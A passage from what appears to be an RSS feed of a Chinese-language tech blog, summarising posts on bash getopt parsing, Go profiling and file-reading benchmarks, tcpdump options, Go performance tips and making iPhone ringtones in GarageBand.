&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>VALID_ARGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>getopt -o abg:d: --long alpha,beta,gamma:,delta: -- &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$@&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> $? -ne &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit 1;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eval set -- &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$VALID_ARGS&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> &lt;span style="color:#f92672">[&lt;/span> : &lt;span style="color:#f92672">]&lt;/span>; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -a | --alpha&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;alpha&amp;#39; option&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -b | --beta&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;beta&amp;#39; option&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -g | --gamma&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;gamma&amp;#39; option. Input argument is &amp;#39;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -d | --delta&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;delta&amp;#39; option. Input argument is &amp;#39;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> --&lt;span style="color:#f92672">)&lt;/span> shift;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> break
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-o&lt;/code> 選項代表短選項&lt;/li>
&lt;li>&lt;code>--long&lt;/code> 選項代表長選項&lt;/li>
&lt;/ul></description></item><item><title>Go 程式碼重構：23 倍效能追擊</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220607-go-code-refactoring-the-23x-performance-hunt/</link><pubDate>Tue, 07 Jun 2022 13:42:07 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220607-go-code-refactoring-the-23x-performance-hunt/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7" target="_blank" rel="noopener">Go 程式碼重構：23 倍效能追擊&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -cpuprofile cpu.prof
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go tool pprof -svg cpu.prof &amp;gt; cpu.svg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -trace trace.out
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go tool trace trace.out
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Dockertest 极速搭建集成测试环境神器</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220512-dockertest/</link><pubDate>Thu, 12 May 2022 16:43:31 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220512-dockertest/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://cn-sec.com/archives/998286.html" target="_blank" rel="noopener">Dockertest 极速搭建集成测试环境神器&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ory/dockertest" target="_blank" rel="noopener">dockertest&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Tcpdump 使用总结</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220505-tcpdump/</link><pubDate>Thu, 05 May 2022 13:39:10 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220505-tcpdump/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://markrepo.github.io/commands/2018/06/23/tcpdump/" target="_blank" rel="noopener">Tcpdump 使用总结&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="命令使用">命令使用&lt;/h2>
&lt;p>tcpdump 采用命令行方式，它的命令格式为：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tcpdump &lt;span style="color:#f92672">[&lt;/span> -AdDeflLnNOpqRStuUvxX &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -c count &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -C file_size &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -F file &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -i interface &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -m module &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -M secret &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -r file &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -s snaplen &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -T type &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -w file &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -W filecount &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -E spi@ipaddr algo:secret, ... &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -y datalinktype &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -Z user &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> expression &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="tcpdump-的简单选项介绍">tcpdump 的简单选项介绍&lt;/h3>
&lt;ul>
&lt;li>&lt;code>-E spi@ipaddr algo:secret , ...&lt;/code>，可通过&lt;code>spi@ipaddr algo:secret&lt;/code> 来解密 IPsec ESP 包。secret 为用于 ESP 的密钥，使用 ASCII 字符串方式表达。 如果以 &lt;code>0x&lt;/code> 开头，该密钥将以 16 进制方式读入。 除了以上的语法格式(指&lt;code>spi@ipaddr algo:secret&lt;/code>)， 还可以在后面添加一个语法输入文件名字供 tcpdump 使用(即把 spi@ipaddr algo:secret, … 中…换成一个语法文件名)。 在接收到第一个 ESP 包时会打开此文件， 所以最好此时把赋予 tcpdump 的一些特权取消(可理解为，这样防范之后，当该文件为恶意编写时，不至于造成过大损害)。&lt;/li>
&lt;li>&lt;code>-T type&lt;/code> 强制 tcpdump 按 type 指定的协议所描述的包结构来分析收到的数据包。 目前已知的 type 可取的协议为:
&lt;ul>
&lt;li>&lt;code>aodv&lt;/code> (Ad-hoc On-demand Distance Vector protocol， 按需距离向量路由协议，在 Ad hoc(点对点模式)网络中使用)，&lt;/li>
&lt;li>&lt;code>cnfp&lt;/code> (Cisco NetFlow protocol)&lt;/li>
&lt;li>&lt;code>rpc&lt;/code>(Remote Procedure Call)&lt;/li>
&lt;li>&lt;code>rtp&lt;/code> (Real-Time Applications protocol)&lt;/li>
&lt;li>&lt;code>rtcp&lt;/code> (Real-Time Applications con-trol protocol)&lt;/li>
&lt;li>&lt;code>snmp&lt;/code> (Simple Network Management Protocol)&lt;/li>
&lt;li>&lt;code>tftp&lt;/code> (Trivial File Transfer Protocol， 碎文件协议)&lt;/li>
&lt;li>&lt;code>vat&lt;/code> (Visual Audio Tool， 可用于在 internet 上进行电视电话会议的应用层协议)&lt;/li>
&lt;li>&lt;code>wb&lt;/code> (distributed White Board， 可用于网络会议的应用层协议)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="实用命令实例">实用命令实例&lt;/h3>
&lt;p>&lt;strong>截获主机 210.27.48.1 和主机 210.27.48.2 或 210.27.48.3 的通信&lt;/strong>&lt;/p></description></item><item><title>Go语言高性能编程手册（万字长文）</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220422-go-high-performance-programming-manual/</link><pubDate>Fri, 22 Apr 2022 18:01:43 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220422-go-high-performance-programming-manual/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/iSxWFsnNLGgilzKIsSDBgg" target="_blank" rel="noopener">Go 语言高性能编程手册（万字长文）&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="常用数据结构">常用数据结构&lt;/h4>
&lt;p>&lt;strong>反射虽好，切莫贪杯&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>优先使用 &lt;code>strconv&lt;/code> 而不是 &lt;code>fmt&lt;/code>&lt;/li>
&lt;li>少量的重复不比反射差&lt;/li>
&lt;li>慎用 &lt;code>binary.Read&lt;/code> 和 &lt;code>binary.Write&lt;/code>
&lt;ul>
&lt;li>&lt;code>binary.Read&lt;/code> 和 &lt;code>binary.Write&lt;/code> 使用反射并且很慢。如果有需要用到这两个函数的地方，我们应该手动实现这两个函数的相关功能，而不是直接去使用它们。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>避免重复的字符串到字节切片的转换&lt;/strong>&lt;/p>
&lt;p>&lt;strong>指定容器(slice/map)容量&lt;/strong>&lt;/p>
&lt;p>&lt;strong>字符串拼接方式&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>行内拼接字符串推荐使用运算符 &lt;code>+&lt;/code>&lt;/li>
&lt;li>非行内拼接字符串推荐使用 &lt;code>strings.Builder&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>遍历 &lt;code>[]struct{}&lt;/code> 使用下标而不是 &lt;code>range&lt;/code>&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>两种通过 index 遍历 &lt;code>[]struct&lt;/code> 性能没有差别，但是 &lt;code>range&lt;/code> 遍历 &lt;code>[]struct&lt;/code> 中元素时，性能非常差。&lt;/p>
&lt;p>&lt;code>range&lt;/code> 遍历 &lt;code>[]*struct&lt;/code> 中元素时，與下标性能没有差别。&lt;/p>&lt;/blockquote>
&lt;h4 id="内存管理">内存管理&lt;/h4>
&lt;p>&lt;strong>使用空结构体节省内存&lt;/strong>&lt;/p>
&lt;p>&lt;strong>struct 布局要考虑内存对齐&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>CPU 访问内存时，并不是逐个字节访问，而是以字长（word size）为单位访问。比如 32 位的 CPU ，字长为 4 字节，那么 CPU 访问内存的单位也是 4 字节。
这么设计的目的，是减少 CPU 访问内存的次数，加大 CPU 访问内存的吞吐量。比如同样读取 8 个字节的数据，一次读取 4 个字节那么只需要读取 2 次。&lt;/p></description></item><item><title>iPhone 鈴聲製作教學，將 MP3 音樂換成電話鈴聲或鬧鐘鈴聲</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220410-iphone-ringtone-mp3/</link><pubDate>Sun, 10 Apr 2022 20:01:37 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220410-iphone-ringtone-mp3/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.tech-girlz.com/2020/08/iphone-ringtone-mp3.html/amp" target="_blank" rel="noopener">iPhone 鈴聲製作教學，將 MP3 音樂換成電話鈴聲或鬧鐘鈴聲&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://youtu.be/zA376ii82U0" target="_blank" rel="noopener">影片版的 iPhone 鈴聲製作步驟&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="步驟一準備想換成-iphone-鈴聲的-mp3-音樂">步驟一：準備想換成 iPhone 鈴聲的 MP3 音樂&lt;/h5>
&lt;p>首先第一步是準備好你想當成鈴聲的音樂，建議是 MP3 檔，然後儲存在「檔案 App」的資料夾內&lt;/p>
&lt;h5 id="步驟二透過-garageband-app-製作-iphone-鈴聲">步驟二：透過 Garageband App 製作 iPhone 鈴聲&lt;/h5>
&lt;p>接著，請開啟 iPhone 內建的「Garageband App」（如果你刪除了請先下載回來），點選「製作歌曲」，然後選擇「錄音機」。&lt;/p>
&lt;ol>
&lt;li>點選音軌: 現在進入了錄音機的頁面，點選左上角第三個圖示進到音軌，然後再點選右上角倒數第二個圓圈圖示&lt;/li>
&lt;li>將 MP3 音樂拖曳到音軌上: 這步驟很關鍵，將分頁切換到「檔案」，然後找到你剛剛下載好的 MP3 音樂，將它拖曳到左邊的音軌上。&lt;/li>
&lt;li>編輯鈴聲: 接著，你可以拖拉音樂的前後來編輯你想要的鈴聲片段，也可以按播放鍵來試聽目前的鈴聲是否符合你的預期。&lt;/li>
&lt;li>儲存歌曲: 確認沒問題之後，點選左上角的「三角形圖示」，然後按一下「我的歌曲」，你會看到該檔案已儲存成功，接著請長按它。&lt;/li>
&lt;li>製作鈴聲: 長按該音訊檔案後，選擇「分享」，然後點選「鈴聲」。&lt;/li>
&lt;li>輸出鈴聲: 而在這邊你可以編輯該鈴聲的名稱，編輯完後點選右上角的「輸出」，這樣就完成自訂 iPhone 鈴聲了！&lt;/li>
&lt;/ol>
&lt;h5 id="步驟三iphone-電話鈴聲設定">步驟三：iPhone 電話鈴聲設定&lt;/h5>
&lt;p>開啟 iPhone 上的「設定」app，點選「聲音與觸覺回饋」&amp;gt;「鈴聲」，在鈴聲這區塊內你就會看到剛剛製作好的鈴聲囉。&lt;/p>
&lt;h5 id="步驟四iphone-鬧鐘鈴聲設定">步驟四：iPhone 鬧鐘鈴聲設定&lt;/h5>
&lt;p>開啟「時鐘 App」點選左上角的「編輯」，然後選擇任一個你想更換鈴聲的的 iPhone 鬧鐘。
點選「提示聲」後，將「鈴聲」改為你剛剛製作好的 MP3 音樂鈴聲就可以了。&lt;/p></description></item><item><title>怎么选择 Go 文件读取方案</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220329-go-read-file/</link><pubDate>Tue, 29 Mar 2022 16:15:34 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220329-go-read-file/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/Z-19Yj8Je7Wb9bqvMR35Cg" target="_blank" rel="noopener">怎么选择 Go 文件读取方案&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Go 提供了可一次性读取文件内容的方法：&lt;code>os.ReadFile&lt;/code> 与 &lt;code>ioutil.ReadFile&lt;/code>。在 Go 1.16 开始，&lt;code>ioutil.ReadFile&lt;/code> 就等价于 &lt;code>os.ReadFile&lt;/code>。&lt;/p>
&lt;p>一次性加载文件的优缺点非常明显，它能减少 IO 次数，但它会将文件内容都加载至内存中，对于大文件，存在内存撑爆的风险。&lt;/p>&lt;/blockquote>
&lt;h4 id="逐行读取">逐行读取&lt;/h4>
&lt;p>Go 中 bufio.Reader 对象提供了一个 ReadLine() 方法，但其实我们更多地是使用 ReadBytes(&amp;rsquo;\n&amp;rsquo;) 或者 ReadString(&amp;rsquo;\n&amp;rsquo;) 代替。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">ReadLines&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fi&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">fi&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">reader&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">fi&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">reader&lt;/span>.&lt;span style="color:#a6e22e">ReadString&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="块读取">块读取&lt;/h4>
&lt;p>块读取也称为分片读取，这也很好理解，我们可以将内容分成一块块的，每次读取指定大小的块内容。这里，我们将块大小设置为 4KB。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">ReadChunk&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="result">result&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>BenchmarkOsReadFile4KB-8 &lt;span style="color:#ae81ff">92877&lt;/span> &lt;span style="color:#ae81ff">12491&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkOsReadFile4MB-8 &lt;span style="color:#ae81ff">1620&lt;/span> &lt;span style="color:#ae81ff">744460&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkOsReadFile4GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">7518057733&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>signal: killed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines4KB-8 &lt;span style="color:#ae81ff">90846&lt;/span> &lt;span style="color:#ae81ff">13184&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines4MB-8 &lt;span style="color:#ae81ff">493&lt;/span> &lt;span style="color:#ae81ff">2338170&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines4GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">3072629047&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines16GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">12472749187&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk4KB-8 &lt;span style="color:#ae81ff">99848&lt;/span> &lt;span style="color:#ae81ff">12262&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk4MB-8 &lt;span style="color:#ae81ff">913&lt;/span> &lt;span style="color:#ae81ff">1233216&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk4GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">2095515009&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk16GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">8547054349&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>在本文的测试条件下（每行数据 1KB），对于小对象 4KB 的读取，三种方式差距并不大；在 MB 级别的读取中，直接加载最快，但块读取也慢不了多少；上了 GB 后，块读取方式会最快。&lt;/p></description></item><item><title>將 List 轉置為 dict 的 list</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220309-how-to-transform-list-to-object-list/</link><pubDate>Wed, 09 Mar 2022 11:26:23 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220309-how-to-transform-list-to-object-list/</guid><description>&lt;ul>
